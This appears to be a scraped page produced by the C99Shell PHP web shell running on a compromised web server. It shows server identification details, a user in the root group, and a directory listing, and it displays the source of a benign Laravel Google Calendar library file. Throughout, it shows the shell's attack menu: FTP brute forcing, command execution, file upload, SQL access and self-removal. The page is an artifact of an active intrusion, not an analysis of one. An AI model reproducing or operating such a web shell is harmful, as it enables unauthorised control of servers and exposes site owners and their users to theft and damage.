!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/spatie/laravel-google-calendar/src/   drwxr-xr-x
Free 29.03 GB of 117.98 GB (24.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GoogleCalendarFactory.php (2.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\GoogleCalendar;

use 
Google_Client;
use 
Google_Service_Calendar;
use 
Spatie\GoogleCalendar\Exceptions\InvalidConfiguration;

class 
GoogleCalendarFactory
{
    public static function 
createForCalendarId(string $calendarId): GoogleCalendar
    
{
        
$config config('google-calendar');

        
$client self::createAuthenticatedGoogleClient($config);

        
$service = new Google_Service_Calendar($client);

        return 
self::createCalendarClient($service$calendarId);
    }

    public static function 
createAuthenticatedGoogleClient(array $config): Google_Client
    
{
        
$authProfile $config['default_auth_profile'];

        if (
$authProfile === 'service_account') {
            return 
self::createServiceAccountClient($config['auth_profiles']['service_account']);
        }
        if (
$authProfile === 'oauth') {
            return 
self::createOAuthClient($config['auth_profiles']['oauth']);
        }

        throw 
InvalidConfiguration::invalidAuthenticationProfile($authProfile);
    }

    protected static function 
createServiceAccountClient(array $authProfile): Google_Client
    
{
        
$client = new Google_Client;

        
$client->setScopes([
            
Google_Service_Calendar::CALENDAR,
        ]);

        
$client->setAuthConfig($authProfile['credentials_json']);

        if (
config('google-calendar')['user_to_impersonate']) {
            
$client->setSubject(config('google-calendar')['user_to_impersonate']);
        }

        return 
$client;
    }

    protected static function 
createOAuthClient(array $authProfile): Google_Client
    
{
        
$client = new Google_Client;

        
$client->setScopes([
            
Google_Service_Calendar::CALENDAR,
        ]);

        
$client->setAuthConfig($authProfile['credentials_json']);

        
$client->setAccessToken(file_get_contents($authProfile['token_json']));

        return 
$client;
    }

    protected static function 
createCalendarClient(Google_Service_Calendar $servicestring $calendarId): GoogleCalendar
    
{
        return new 
GoogleCalendar($service$calendarId);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0442 ]--